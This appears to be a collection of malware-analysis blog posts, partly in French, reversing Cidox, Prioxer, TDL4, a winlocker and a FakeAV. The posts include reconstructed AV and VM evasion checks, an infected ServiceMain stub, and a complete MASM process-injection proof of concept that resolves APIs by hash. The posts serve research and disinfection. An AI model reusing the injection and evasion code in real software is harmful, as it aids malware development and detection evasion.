When I saw article from Xylitol's blog about Tracking Cyber Crime: Malwox (Win32/Cidox Affiliate) Mayachok.1, I asked my irc bot to scan each hour files dropped by this site to make some stats about repacking interval ( you can see a screenshot of statistics in next part).
It's cool to have a lot of samples but it's more funny to study them.
Statistics
As you can see it is repacked approximately each 5 / 6 hours to avoid AV detections.
At the moment the bot is in beta test, and many logout occur every time I have to recompile it, so stats are approximate.
Dropper
Here, I will not study packer, but just the method of infection which is not very interesting (and old school ?).
call ds:GetCommandLineA
push offset aChk ; " /chk"
call strcmp
pop ecx
test eax, eax
jz short if_arg_not_chk
Finding this test was funny, if the unpacked executable found "/chk" on his command line argument, it will exit directly, maybe for testing their repack routine (~5hours).
If it don't find this argument, it will generate a random dll name using this routine :
void generate_name(void)
{
char SysPath[256];
char VolumeName[256];
char SystemName[256];
char DLLName[256] = {0};
DWORD SerialNumber;
DWORD MaxFileName;
DWORD SysFlags;
int i;
unsigned int a;
GetSystemDirectoryA(SysPath, 256);
GetVolumeInformationA("c:\\", VolumeName, 256, &SerialNumber, &MaxFileName, &SysFlags, SystemName, 256);
for (i = 0; i < 8; i++)
{
SerialNumber *= 0xD;
SerialNumber += 0x12D687;
SerialNumber = _byteswap_ulong(SerialNumber);
}
for (i = 0; i < 7; i++)
{
a = SerialNumber;
SerialNumber /= 0x1A;
DLLName[i] = a % 0x1A + 97;
}
}
For example :
SerialNumber = 1880116967
Dll name = avjemfc.dll
The dll is then decrypted using custom TEA Algorithm ( we will study it in next part ), and written into %SYSTEMROOT%/system32.
Next it sets into a registry key the AppInit_Dlls value which is the path to this dll, in order that each process using user32.dll will load this dll.
Before restarting your computer with ExitWindowsEx(), it will delete all files present into :
C:\Documents and Settings\username\Cookies
C:\Documents and Settings\username\Local Settings\Temporary Internet Files
They use SHGetSpecialFolderPath() with csidl argument equal to CSIDL_COOKIES and CSIDL_INTERNET_CACHE to delete them.
Maybe for cleaning traces of infection.
DLL
As you can imagine the dll is also packed.
The DLLMain graph looks like this :
As you can see there are four branches depending of the fwdReason argument of DLLMain function.
The first one, DLL_PROCESS_ATTACH, will be called when the dll is loaded in each process using user32.dll ( AppInit_Dlls ).
This branch is just here for allocating memory, and unpacking the real stuff of the dll.
It just unpacks the dll, but it will not execute the unpacked code.
It will be executed when fwdReason == DLL_THREAD_ATTACH, so when the process uses CreateThread() for example.
The other branches are not interesting.
After unpacking this stuff, I was able to work with IDA without problem.
There are three branches of different execution flow based on the process name the dll is into :
They use an hashing algorithm, in order to test if they are in a browser process or not, and they do the same thing to detect vm processes and av names into program files folder.
So here is a complete test program to test all their hash table :
#include <stdio.h>
int hash_process_vm[] = { 0x99DD4432, 0x1F413C1F, 0x0B2CE5FDE, 0x3BFFF885, 0x64340DCE, 0x63C54474, 0 };
int hash_program_files[] = { 0x0F7C386B2, 0x9E46A936, 0x74B36500, 0x0B6E7E008, 0x65149B58, 0x1CE7528E,
0x1A704388, 0x4C9EECB5, 0x0D3749631, 0x756ABC4D, 0x3E6A4D93,
0x812EAFC4, 0x1433DC7E, 0x0C1364B22, 0x5BBE66BD, 0x4965900D,
0x0E8406786, 0x62F204B9, 0x31A89D7B, 0x0E8AB39EA, 0x0C093AB43,
0x983757A0, 0x0D5B274B0, 0x2B7F9687, 0x585834DD, 0x0A53C3B2D,
0x1E519C8D, 0x28388EC6, 0x37A4DB47, 0x2AA1E9D7, 0x83B99225,
0x6A057127, 0x0D119C72B, 0x5D614D4B, 0x5436485D, 0x45490640,
0x0E38FAD29, 0 };
int hash_executable_name[] = {0x244CC8B2, 0x9DC03F1E, 0x66B49B77, 0x7207B507, 0x80D1F7CF, 0x37965AFA, 0x9006A423, 0};
char *process_name[] = {"\\IEXPLORE.EXE", "\\FIREFOX.EXE", "\\CHROME.EXE", "\\SAFARI.EXE",
"\\OPERA.EXE", "\\SVCHOST.EXE", "\\NETSCAPE.EXE", "\\MOZILLA.EXE", 0 };
char *av_program_files[] = {"AVIRA", "AV", "AntiVir", "Synaptics", "Avast", "Alwil Software", "AVG",
"BitDefender", "ByteHero", "clamAV", "Commtouch", "Comodo", "DrWeb",
"Emsisoft Anti-Malware", "eSafe", "eSafeMNG", "eTrust EZ Antivirus", "FSI",
"FRISK Software", "F-Secure", "Fortinet", "G Data", "ikarus", "Jiangmin",
"k7 computing", "Kaspersky Lab", "McAfee", "ESET", "ESET NOD32 Antivirus",
"Norman", "Norton SystemWorks", "Panda Software", "Panda Security",
"PC Tools", "PREVX", "Rising", "RAV", "Sophos", "SUPERAntiSpyware",
"Symantec AntiVirus", "Symantec", "Trend Micro", "VBA32", "VIPRE",
"VIPRE Antivirus", "Sunbelt Software", "ViRobot", "VirusBuster", 0};
char *processvm_name[] = {"vmtoolsd.exe", "VMUpgradeHelper.exe", "TPAutoConnSvc.exe", "VMwareTray.exe", "VMwareUser.exe",
"vmacthlp.exe", 0 };
int cidox_hash_func(char *name)
{
int sum = -1, i, is;
int actual_chr;
while (*name)
{
actual_chr = *name;
if (actual_chr >= 0x41 && actual_chr <= 0x5a)
actual_chr += 0x20;
sum = actual_chr ^ sum;
for (i = 0; i < 8; i++)
{
is = sum & 0x1;
sum = (unsigned int)sum >> 1;
if (is)
sum ^= 0xEDB88320;
}
name++;
}
return (~sum);
}
int is_in_list_hash(int *list_hash, int hash)
{
while (*list_hash)
{
if (*list_hash == hash)
return (1);
list_hash++;
}
return (0);
}
int length_list_hash(int *list_hash)
{
int nb = 0;
while (*list_hash)
{
nb++;
list_hash++;
}
return (nb);
}
void check(char **list_to_check, int *list_hash, int (*generate_hash)(char *name), char *wat)
{
int hash;
int len_list = 0;
int found = 0;
printf("\t[+] Now checking .: %s :.\n\n", wat);
len_list = length_list_hash(list_hash);
while (*list_to_check)
{
hash = generate_hash(*list_to_check);
if (is_in_list_hash(list_hash, hash))
{
printf("%s\t\tis present with Hash ( 0x%08x )\n", *list_to_check, hash);
found++;
}
list_to_check++;
}
printf("\n\t[+] Result .: %d Found / %d Total (%d%%) :.\n\n", found, len_list, (found * 100 / len_list * 100) / 100);
}
void launch_check()
{
check(process_name, hash_executable_name, cidox_hash_func, "\"Process Name\"");
check(av_program_files, hash_program_files, cidox_hash_func, "\"AV Program Files\"");
check(processvm_name, hash_process_vm, cidox_hash_func, "\"Process VM Name\"");
}
Here is an output from the program to test which browser was in this table :
\IEXPLORE.EXE is present with Hash ( 0x244cc8b2 )
\FIREFOX.EXE is present with Hash ( 0x9dc03f1e )
\CHROME.EXE is present with Hash ( 0x66b49b77 )
\SAFARI.EXE is present with Hash ( 0x7207b507 )
\OPERA.EXE is present with Hash ( 0x80d1f7cf )
\SVCHOST.EXE is present with Hash ( 0x9006a423 )
As you can see, I just found 6 process name on the 7 hash, so if you have some idea, you can leave me a comment :], but it's not very important.
The main thing this dll does is hooking several functions from ws2_32.dll :
send()
select()
recv()
ioctlselect()
connect()
closesocket()
WSASocketW()
WSASend()
WSARecv()
WSAGetOverLappedResult()
WSASetEventSelect()
WSAEnumNetworkEvents()
WSAConnect()
WSAAsyncSelect()
Theses hooks are setup for redirecting you on phising website when you go on :
help.vkontakte.ru
help.mail.ru
admin.vkontakte.ru
update.microsoft.com
update.mozilla.org
download.opera.com
chrome.google.com
official.odnoklassniki.ru
rushotgirls.com (#lulz)
internet.com
*.co.cc
Each time your browser window name changes, it will try to contact their command and control server (C&C), to update an interesting configuration file, that you can find into : "C:Documents and SettingsAll UsersApplication Data" under the name "cf".
At the end of this post you can find a toolz to decrypt this configuration file :
My toolz is written in assembly language, so for those who are not familiar with this language, here is their custom TEA algo :
int fEKey[4] = {0xB440b08B, 0xACFA7304, 0x9FCAEAEA, 0x1546b9A5};
void TeaDecipher(unsigned int* buf)
{
unsigned int second, first;
unsigned int key = 0xC6EF3720;
second = _byteswap_ulong(buf[1]);
first = _byteswap_ulong(buf[0]);
for (int i = 0; i < 32; i++)
{
second -= (((first >> 5) ^ (first << 4)) + first)
^ (fEKey[(key >> 11) & 3] + key);
key += 0x61C88647;
first -= (((second >> 5) ^ (second << 4)) + second)
^ (fEKey[key & 3] + key);
}
second = _byteswap_ulong(second);
first = _byteswap_ulong(first);
buf[0] = first ^ buf[-2];
buf[1] = second ^ buf[-1];
}
void decy(unsigned char *buf, int size)
{
int i;
for (i = size / 4; i > 0; i -= 2)
TeaDecipher((unsigned int*)(buf + i * 4));
}
When the dll is inside a svchost process, the infection remains persistant, by checking if the configuration file exist, or if AppInits_DLL is set ; but they failed on one thing, the dll file, for desinfecting your pc you have just to rename the dll (my toolz checks if you are infected too and generate for you the name of the dll), and reboot your computer ( not my toolz ;) ).
A last thing that I wasn't able to study is the fact that some times, command and control drops a new executable, and createprocess() after decyphering it.
But it didn't drop me this PE, its name is "ru", because I saw his name when it try to write it at location : "C:\Documents and Settings\All Users\Application Data".
This version of Cidox was not very interesting, 6 months ago, they used VBR infection and dropped a driver, maybe I will study this version soon for having more fun :].
I disovered a new method of injection (I don't know if it is really new) in a malware dropped by duqu.
So I want to share it with you and as usual write a p0c.
Edit : This method is not new, apparently it have been using by game cheats for years, but instead of using
ZwUnmapViewOfSection they use FreeLibrary.
Injection Method
The malware in question is simply a keylogger, but it uses a nice tricks for injecting into another process.
First it will create (as usual) a suspended lsass.exe process via CreateProcess().
Then it will gather process information via ZwQueryInformationProcess(), especially PebBaseAddress.
But what can he do with this address, if we look at PEB struct :
It will get the ImageBaseAddress at offset 0x8, by reading it with ReadProcessMemory().
First it create a section with ZwCreateSection(), then it will in the actual process (not in lsass.exe supended), ZwMapViewOfSection() with argument BaseAdress equal to 0, copy old lsass.exe PE image and modify entry point, he will do the same operation on lsass.exe process but with BaseAdress equal to BaseImage, but wait ! if we read the documentation of ZwMapViewOfSection, we will get a NTSTATUS equal to STATUS_CONFLICTING_ADDRESSES, and the answer is no, because before the second ZwMapViewOfSection, it will perform ZwUnmapViewOfSection() with BaseAddress equal to ImageBaseAddress on lsass.exe process.
And if you wonder : "Wait what !? is it possible ?", and the answer is yes.
With this tricks the malware is able to replace ALL the PE image of the suspended process.
p0c
So I decided to rewrite this tricks, to well understand the stuff done by the malware ( maybe you will better understand what I explained before ).
Tested under Windows XP SP3, and Windows Seven SP1 (32 bits).
An (IRC) friend Horgh told me : "Why not study prioxer, it could be fun ?".
But what is prioxer ?
It's simply a backdoor Trojan, wich has a dropper with his own parser for NTFS and FAT format.
That's why it's fun :], it was a cool way to study approximately how can work NTFS File System.
Prioxer
First I looked around for finding a sample ( 31 / 42 ) :
The thing it will do is to infect the dll "dhcpcsvc.dll" ( we will see after what the purpose of the infection ).
NTFS
(This is not a tutorial about NTFS, it's just result af all the stuff reversed from prioxer, i wanted to have fun with IDA, and take some challenge by not looking too much documentation or source code like ntfs-3g, so if there is some mistake please refer to your friend google for more about NTFS).
But it will not directly open an handle (CreateFile())on this file which is located in "%SYSTEMROOT%/System32/".
It will open an handle on your current hard disk driver( like C: ).
So here is a schem about how it works :
The first thing, we must know on NTFS : all data stored on a volume is contained in file, including data structures used to locate and retrieve files.
A NTFS Volume, will start every time, with a data structures, named NTFS Volume Boot Record, she is here for gathering a maximum of information about the volume, like Number Of Sector, or Bytes Per Sector, ... etc ...
Then with thoses informations, we can access the MFT (Master File Table) which is the heart of the NTFS, it is implemented as an array of file records.
Shel will contain one record, for each file on the volume including a record for the MFT itself.
I will not describe all these files, but a special one : Root directory (also known as "\" or "$I30"). This file record contains an index of the files and directories stored in the root of the NTFS directory structure.
You have understood that prioxer will use this File Record :].
But ! if you look at my schem, we know Root_Directory is the fifth entry in the array of file_record, and i don't know why they do that but they compute the offset to read this file_record with values found in in $DATA Attributes from MFT, why they don't compute the offset in this simply way :
MFT_Addr + sizeof(FILE_ENTRY) * 5.
Anyway, it's not important :], we continue your investigation.
The thing to know is, that every FILE_RECORD has a list of attributes : (especially those)
$DATA (0x80) : Contents of the file.
$INDEX_ROOT, $ALLOCATION (0x90 / 0xA0): Implement file name allocation.
And a new schem, how the mecanism work (I simplified things):
A directory, is simply an index of file names (along with their file references), organized like a b-tree.
VCN is Virtual Cluster Numbers, a vnc is a linked value to LCN (Logical Cluster Numbers) wich allow to read, write directly on the hardware disk.
So, in your case prioxer will travel the root_directory, look for WINDOWS directory node, then travel "Windows" node, and get "SYSTEM32" node, and get dhcpcsvc.dll.
And he is able now to read, write (with ReadFile() and WriteFile() API) directly to VCNs of this file.
I will not explain more about NTFS, First I'm not familiar with this FileSystem (new for me), and working almost with IDA took me about 2 ~ 3 evenings to well understand how prioxer work.
Next time, I will read some docs :], it will be easier.
Ho by the way i wrote some shit for parsing only my root directory :
FileSystemName = NTFS
[+] Some information about NTFS BPB
Sector Size = 512
Sector Per Cluster = 8
Reserved Sectors = 0
Media Descriptor ID = 248
Sector Per Track = 56
Number Of Heads = 255
Hidden Sectors = 56
TotalSectors = 41926023
Starting Cluster Number for the $MFT = 786432
Starting Cluster Number for the $MFTMirror = 2620376
Clusters Per File Record = 246
Clusters Per Index Block = 1
Volume Serial Number =
[+] End Information about NTFS BPB
[+] (dbg) Sector Size = 512 bytes
[+] (dbg) Cluster Size = 4096 bytes
[+] (dbg) FileRecord Size = 1024 bytes
Size = 0
[+] FILE_RECORD_MAGIC OK
[+] (dbg) OffsetOfAttr = 38
[+] Information about actual ATTRIBUTE
ATTR_TYPE = 10
Value Length = 30
CreateTime = 2d458880
[+] Information about actual ATTRIBUTE
ATTR_TYPE = 30
Value Length = 44
ParentRef = 5
AllocSize = 0
RealSize = 0
[+] Information about actual ATTRIBUTE
ATTR_TYPE = 50
[+] Information about actual ATTRIBUTE
ATTR_TYPE = 90
NameLength = 4
NameOffset = 18
Name = $I30
Attr_type = 30
EntryOffset = 10
TotalEntrySize = 28
AllocEntrySize = 28
Flags = 1
FileReference = 0
Size = 18
StreamSize = 0
Flags = 3
-- INDEX ENTRY --
FileReference = 0
Size = 18
StreamSize = 0
Flags = 3
SUB NODE !
GetSubNodeVCN = 0
[+]STREAM OK ... Name : $AttrDef
[+]STREAM OK ... Name : $BadClus
[+]STREAM OK ... Name : $Bitmap
[+]STREAM OK ... Name : $Boot
[+]STREAM OK ... Name : $Extend
[+]STREAM OK ... Name : $LogFile
[+]STREAM OK ... Name : $MFT
[+]STREAM OK ... Name : $MFTMirr
[+]STREAM OK ... Name : $Secure
[+]STREAM OK ... Name : $UpCase
[+]STREAM OK ... Name : $Volume
[+]STREAM OK ... Name : .
[+]STREAM OK ... Name : AUTOEXEC.BAT
[+]STREAM OK ... Name : boot.ini
[+]STREAM OK ... Name : Bootfont.bin
[+]STREAM OK ... Name : CONFIG.SYS
[+]STREAM OK ... Name : Documents and Settings
[+]STREAM OK ... Name : DOCUME~1
[+]STREAM OK ... Name : IO.SYS
[+]STREAM OK ... Name : MSDOS.SYS
[+]STREAM OK ... Name : NTDETECT.COM
[+]STREAM OK ... Name : ntldr
[+]STREAM OK ... Name : pagefile.sys
[+]STREAM OK ... Name : Program Files
[+]STREAM OK ... Name : PROGRA~1
[+]STREAM OK ... Name : RECYCLER
[+]STREAM OK ... Name : System Volume Information
[+]STREAM OK ... Name : SYSTEM~1
[+]STREAM OK ... Name : Toolz
[+]STREAM OK ... Name : WINDOWS
Last Index Entry
-- END INDEX ENTRY --
LAST INDEX !!!
[+] Information about actual ATTRIBUTE
ATTR_TYPE = a0
[+] Information about actual ATTRIBUTE
ATTR_TYPE = b0
And here is the source code :
main.c
ReadCluster.c
ntfs.h
Infection
Ok so now we know that prioxer will do some shit with this file, but what !?
So prioxer will change the offset value, of "ServiceMain" exported function :
And put some code in .text section located at ServiceMain changed offset :
.text:7D4EC895
.text:7D4EC895
.text:7D4EC895 public ServiceMain
.text:7D4EC895 ServiceMain proc near ; DATA XREF: .text:off_7D4D1FCCo
.text:7D4EC895 inc ecx
.text:7D4EC896 dec ecx
.text:7D4EC897 add eax, 0
.text:7D4EC89A add edi, 0
.text:7D4EC89D or eax, 0
.text:7D4EC8A0 pusha
.text:7D4EC8A1 inc edi
.text:7D4EC8A2 dec edi
.text:7D4EC8A3 push 'll'
.text:7D4EC8A8 inc eax
.text:7D4EC8A9 dec eax
.text:7D4EC8AA push 'd.3i'
.text:7D4EC8AF xor ebx, 0
.text:7D4EC8B2 push 'patc'
.text:7D4EC8B7 mov edx, edx
.text:7D4EC8B9 push esp ; lpLibFileName
.text:7D4EC8BA or esi, 0
.text:7D4EC8BD call ds:__imp__LoadLibraryA@4 ; LoadLibraryA(x)
.text:7D4EC8C3 xor ebx, 0
.text:7D4EC8C6 pop eax
.text:7D4EC8C7 push eax
.text:7D4EC8C8 pop eax
.text:7D4EC8C9 pop eax
.text:7D4EC8CA inc edx
.text:7D4EC8CB dec edx
.text:7D4EC8CC pop eax
.text:7D4EC8CD mov esi, esi
.text:7D4EC8CF popa
.text:7D4EC8D0 add esi, 0
.text:7D4EC8D3 mov eax, offset _ServiceMain@8 ; ServiceMain(x,x)
.text:7D4EC8D8 mov ecx, ecx
.text:7D4EC8DA jmp eax
.text:7D4EC8DA ServiceMain endp
.text:7D4EC8DA
.text:7D4EC8DA
The snippet of code, will simply load a library with a random name in our case "ctapi3.dll", dropped by prioxer and then jump to the real address of ServiceMain.
I will not study this dll (you can find her into ressource, directly), it simply a botnet component that can exchange commands and data over IRC with a command-and-control.
Then it write a .bat file, and execute it for deleting the dropper.
The only interesting thing was the infection method via a NTFS parser, and infect a windows dll, wihch will be load each time you want to use DHCP.
Another interesting fact is a side effect of this technics, you can find a dllcache directory in %SYSTEMROOT%, NTFS maintains it for some often used system files.
That's why if you are infected by this trojan, you won't be able to see the difference on dhcpsvc.dll, but a tools like gmer with his own ntfs parser can do it, or if you reboot your computer, you will be able to see it, and your AV too.
Conclusion
Big thanks to Horgh for the idea of prioxer, what is next target ?
I received several mail asking me, if I was still active on my blog.
And the answer is YES!, i'm just (very) busy by my internship, and some personal projetcs.
So today I give you some news.
TDL4
I'm sorry for my english readers (if there are), but my draft article about all reverse stuff from tdl4 is written in French. But you can use Google Translate !
So here is the link to the article.
Be careful this is an oldschool version ( 0.3 ), I'm currently studying new version.
TDL4 (New version)
And we will start with a tricks for detecting Virtual Machine, apparently the new loader do this check, instead of the loader from my article.
Maybe for you it will not be new, but for me it is, I'm a beginner in malware analysis.
It will use WQL language to query Windows Management Instrumentation.
I will not bore you with disassembly code, but with a picture, that will show you a little script that I wrote for defeating unicode string obfuscation :
And source code of idc script (I'm maybe doing it wrong, but it's my first) :
#include <idc.idc>
staticString(ea)
{
auto s,b,i;
s = "";
i = 0;
while(i < 2)
{
b = Byte(ea);
if (b)
{
s = s + form("%c", b);
ea = ea + 2;
}
i++;
}
return s;
}
staticmain()
{
auto ea;
auto op;
auto str;
auto s;
ea = SelStart();
str = "";
while (ea < SelEnd())
{
if(GetMnem(ea) != "mov")
break;
if (GetOpType(ea, 1) == 1)
break;
s = String(ea + 7);
str = str + s;
ea = FindCode(ea, SEARCH_DOWN | SEARCH_NEXT);
}
Message("%s\n", str);
}
So with this script I was able to see all this interesting stuff :
Win32_BIOS
Win32_Process
Win32_DiskDrive
Win32_Processor
Win32_SCSIController
Name
Model
Manufacturer
Xen
QEMU
Bochs
Red Hat
Citrix
VMware
Virtual HDVBOX
CaptureClient.exe
SELECT * FROM %s WHERE %s LIKE "%%%s%%"
SELECT * FROM %s WHERE %s = "%s"
First it will gather all the information about your pc and send this to a C&C.
And after for example, it will check if in process list there is "CaptureClient.exe", or execute the request "SELECT * FROM Win32_DiskDevice WHERE Manufacturer = "VMware", etc...
This is how they can detect that you are in virtualized or emulated environment.
I didn't know how WQL work, so I decided to develop someshit :
Tout droit revenu d'un entretien pour un stage, et oui je ne suis encore qu'un étudiant, je m'empresse de revenir à mes activités de reverse de vx.
Je fais un billet sur ce que j'ai reverse car j'ai utilisé une technique (EBFE tricks )tout droit sorti du grenier.
Technique utilisé pour vaincre safedisc v1 et 2, si je dis pas de bêtises. Je l'avais utilisé pour Sim City 3000 ;).
Un winlocker plus ou moins original où j'ai dû déjouer certaines choses :
Il m'informe que si je veux supprimer leur widget je dois envoyer au compte beeline 9099416525 un montant de 500 USD.
First stage, First failed
On ouvre la bête avec Olly et là c'est le drame, on tombe sur un crypter en VB, sérieusement le vb à reverse c'est juste chiant ( voir même de la merde ).
La personne qui a inventé ce langage j'ai tout simplement envie de la tuer, car sur le marché un paquet de crypter sont écrits en vb et c'est à la porté de tout le monde de le faire.
Les mecs qui ont codés ce WinLocker doivent être juste idiot :
HKU\S-1-5-21-1004336348-1580436667-1708537768-1003\Software\Microsoft\Windows\CurrentVersion\Run\711527436: "C:\Documents and Settings\analys\711527436.exe"
C:\Documents and Settings\analys\711527436.exe
Après avoir copié le réel Winlocker, et changer la clef de registre pour se start au démarrage, ils font un appel à ShellExecuteW pour lancer "shutdown /r /f /t 3" :
Nous avons exactement 3 secondes pour ouvrir une invite de commande et taper "shutdown -a" pour annuler la mise hors tension.
Nous sommes donc maitenant en mesure de travailler avec le réel WinLocker.
Dans un précédent billet, je parlais d'injection dans des processus, ici c'est la même, sauf qu'au lieu de passer par kernel32, il passe direct pas ntdll, du coup il use ZwWriteVirtualMemory, ZwSetContextThread ... :
Une fois le thread du processus resume, ces saguouins font appel à SystemParametersInfo, afin de bloquer la souris au sein de la fenetre du ransomware, faire semblant qu'on est dans un screensaver, du coup pas de Alt-Tab, ni Ctrl-Alt-Suppr possible.
p0wn stage 2
Il nous faut trouver un moyen pour essayer de prendre la main sur le processus dans lequel le processus actuel injecte du code, mais qui dit code injecté dit code qu'on peut modifier.
On va donc modifier le buffer et écrire notre propre code en breakant sur ZwWriteProcessMemory.
C'est là qu'arrive 2 instructions qui vont nous être bien utiles :
> rasm2 -d EBFE
jmp 0x8048000
> rasm2 -d CC
int3
0xEBFE : C'est un simple jmp short 0, une boucle infinie
0xCC : Interruption 3, trap to debugger
Il faut trouver l'endroit (EIP), où le thread va reprendre son éxécution, un bp sur ZwSetContextThread, et regarder ce qu'il y a dans la structure CONTEXT :
Ok, notre thread reprendra en 0x0040f160, revenons en arrière afin maitenant de breaker sur ZwWriteVirtualMemory, et modifier le buffer d'écriture.
Nous devons calculer où se situe le future eip du thread dans le buffer :
> hex(0x40F160 - 0x40A000) # new eip - adresse ou il start a ecrire
'0x5160'
> hex(0x182408 + 0x5160) # buffer + offset new eip
'0x187568'
Si vous regardez bien la stack :
0x60 : Handle du processus
0x0040A000 : Adresse de départ où on va écrire
0x00182408 : Buffer à écrire (placement d'un int3 0xCC)
0x5E00 : Taille à écrire
On continue l'éxécution ( après avoir bien configuré Olly : Just-in-time debugging ) :
On nous invite gentiment à debugger le programme (int3 ftw), à partir de là c'est gagné, on tombe sur du upx, la routine habituel, dump processus, reconstruction de l'IAT. Et on peut travailler tranquilement avec le locker et le p0wn.
Car malheuresement ils usent l'API StrCmpW, pour checker le code, un bp dessus est :
L'autre jour sur IRC, on me balance un link vers un VX qui aboutit sur le download d'un FakeAV.
Le truc fun quand j'ai reverse la bête, j'ai appris une technique d'injection dans un processus qui est
oldschool mais n'étant pas expert dans la matière, j'ai voulu la recoder.
Création d'un processus (ici en l'occurence svchost.exe)
Appel à VirtualAllocEx, pour allouer de la mémoire dans un processus cible
Appel à WriteProcessMemory, on écrit le code qui va étre éxecuté
Appel à GetThreadContext, on récupère le context du thread du processus cible.
On set eip sur le code que l'on vient d'écrire
Appel à SetThreadContext, on met à jour le context du thread du processus cible.
Appel à ResumeThread, on relance l'éxécution du thread du processus cible.
A partir de là, j'étais en mesure de pouvoir réecrire la chose, seul soucis lorsque je vais injecter du code
dans le processus cible, il va falloir que je resolv à la main les adresses des API dont j'ai besoin. (reconstruction d'IAT
à l'éxécution).
Éxecutable injecté
Le code injecté est assez fun, je vais résoudre l'adresse de kernel32.dll, chercher l'adresse de la table de fonction,
puis me balader sur la table de noms de fonctions, et calculer un hash pour chaque nom, que je comparerais avec un hash précalculé
pour l'API que je désire appeler. Dans l'exemple ici, j'affiche juste un message "It Works", donc je load User32.dll et fait un appel
à MessageBoxA.
Bref le code parlera mieux de lui même :
.386.model flat,stdcall
option casemap:none
include \masm32\include\windows.incinclude \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
assume fs:nothing
.codestart:cldxor edx, edx
;; Get address of kernel32.dllmov edx, fs:[edx + 30h]
mov edx, [edx + 0Ch]
mov edx, [edx + 14h]
next_mod:
mov esi, [edx + 028h]
mov ecx, 24
xor edi, edi
loop_modname:
xor eax, eax
lodsbcmp al, 'a'
jl not_lowercase
sub al, 020h
not_lowercase:
ror edi, 13
add edi, eax
loop loop_modname
cmp edi, 6A4ABC5Bh
mov ebx, [edx + 10h]
mov edx, [edx]
jne next_mod
mov eax, ebx
push ebx
pushoffset Addrkernel32
pushoffset Afonction
pushoffset Namefunc
pushoffset Aordinal
call filladdr
lea edi, Nuser
call load_dll
push eax
pushoffset Addruser32
pushoffset Afunuser32
pushoffset Nfunuser32
pushoffset Aorduser32
call filladdr
push 30h
pushoffset Message
pushoffset Message
push 0
push 4
push [Addruser32]
push [Nfunuser32]
push [Aorduser32]
push [Afunuser32]
push [HMessageBox]
call callapi
jmp exit
;; -------------------------;; Function : load_dll;; Description : Load the desired dll;; Parameters : EDI = Crypted name of the dll;; Output : Eax = Adress of the loaded dll;; -------------------------
load_dll:
push ebp
mov ebp, esp
push edi
push 1
push [Addrkernel32]
push [Namefunc]
push [Aordinal]
push [Afonction]
push [HLoadLibrary]
call callapi
leaveret;; -------------------------;; Function : strlen;; Description : Compute the length of a string;; ------------------------------- strlen:push edi
mov edi, dword ptr[esp + 08]
push edi
xor eax, eax
symbol:scas byte ptr[edi]
jne symbol
xchg eax, edi
dec eax
pop edi
sub eax, edi
pop edi
ret;; -------------------------------;; Function : xCRC32;; Description : Calcul CRC32 for the desired string ;; Parameters :;; - String;; - Length of the string;; -------------------------------- xCRC32:pushadmov ebp,esp
xor eax,eax
mov edx,dword ptr [ebp+24h]
mov ecx,dword ptr [ebp+28h]
jecxz @4
dec eax
@1:
xor al, byte ptr [edx]
inc edx
push 08
pop ebx
@2:
shr eax,1
jnc @3
push edx
push ecx
mov ecx, 0EDB8h
mov edx, eax
shr eax, 16
xor eax, ecx
mov ecx, 08320h
xor edx, ecx
and edx, 0ffffh
shl eax, 16
or eax, edx
pop ecx
pop edx
@3:
dec ebx
jnz @2
loop @1
not eax
@4:
mov dword ptr [ebp + 1Ch], eax
popadret;; -------------------------------;; Function : callapi;; Description : Function for calling the desired api with all her arguments ;; Parameters :;; - Push all the arguments for the further called api;; - Number of arguments for the further called api;; - Adress of the desired dll;; - Adress of name table of the desired dll;; - Adress of ordinal table of the desired dll;; - Adress of function table of the desired dll;; - Hash (CRC32) of the desired api to call;;;; -------------------------------callapi:push ebp
mov ebp,esp
mov ecx,dword ptr [ebp + 01Ch] ; Number of argsadd ecx, 7
load:mov edx,dword ptr [ebp + 4 * ecx]
push edx
dec ecx
cmp ecx, 7
jne load
mov edx, dword ptr [ebp + 018h] ; Addr dllmov esi, dword ptr [ebp + 014h] ; Addr Name funcxor ecx, ecx
gob:lodsdadd eax, edx
mov edi, eax
comb:push edx
lea edi, [edi]
push edi
call strlen
pop edi
mov edx, eax
push edx
push edi
call xCRC32
pop edi
pop edx
cmp eax, dword ptr [ebp + 08h] ; HashApipop edx
je goob
jmp nexte
nexte:inc ecx
jmp gob
goob:shl ecx, 1
add ecx, dword ptr [ebp + 010h] ; Addrordinalxor eax, eax
mov ax, word ptr [ecx]
shl eax, 2
add eax, dword ptr [ebp + 0Ch] ; Addrfonctionmov eax, [eax]
add eax, edx
call eax
pop ebp
ret;; -------------------------------;; Function : filladdr;; Description : usefull function for filling all information about a dll ;; Parameters :;; - Addr of "ms-dos" header of the desired dll;; - Ptr to addr of name table;; - Ptr to addr of ordinal table;; - Ptr to addr of function table;; --------------------------------filladdr:push ebp
mov ebp,esp
mov ecx, dword ptr [ebp + 018h]
mov ecx, [ecx + 03Ch]
add ecx, dword ptr [ebp + 018h]
cmp word ptr [ecx], 'EP'
jnz exit
;; Save Header addrmov edi, dword ptr[ebp + 014h]
mov [edi], eax
mov edx, [ecx + 78h]
add edx, eax
mov ebx, [edx + 1ch]
add ebx, eax
;; Save fun addrmov edi, dword ptr[ebp + 010h]
mov [edi], ebx
mov ebx, [edx + 20h]
add ebx, eax
;; Save Name fun addrmov edi, dword ptr[ebp + 0Ch]
mov [edi], ebx
mov ebx, [edx + 24h]
add ebx, eax
;; Save ordinal addrmov edi, dword ptr[ebp + 08h]
mov [edi], ebx
pop ebp
retexit:;; Exit(0)push 0
push 1
push [Addrkernel32]
push [Namefunc]
push [Aordinal]
push [Afonction]
push [HExitProcess]
call callapi
;; Address of kernel32.dll
Addrkernel32 dd 0
;; Adress of function table in kernel32.dll
Afonction dd 0
;; Adress of name function table in kernel32.dll
Namefunc dd 0
;; Adress of ordinal's table in kernel32.dll
Aordinal dd 0
;; Address of user32.dll
Addruser32 dd 0
;; Adress of function table in user32.dll
Afunuser32 dd 0
;; Adress of name function table in user32.dll
Nfunuser32 dd 0
;; Adress of ordinal's table in user32.dll
Aorduser32 dd 0
Nuser db "user32.dll", 0
;; Hash for kernel32.dll
HLoadLibrary dd 03FC1BD8Dh
HExitProcess dd 0251097CCh
;; Hash for user32.dll
HMessageBox dd 0572D5D8Eh
Message db "It Works !", 0
end start
Le makefile qui va avec :
@echo off
if exist "creepy.obj" del "creepy.obj"
if exist "creepy.exe" del "creepy.exe"
\masm32\bin\ml /c /coff "creepy.asm"
if errorlevel 1 goto end
\masm32\bin\Link /SUBSYSTEM:WINDOWS /SECTION:.text,erw /BASE:0x400000 "creepy.obj"
if errorlevel 1 goto end
:end
pause
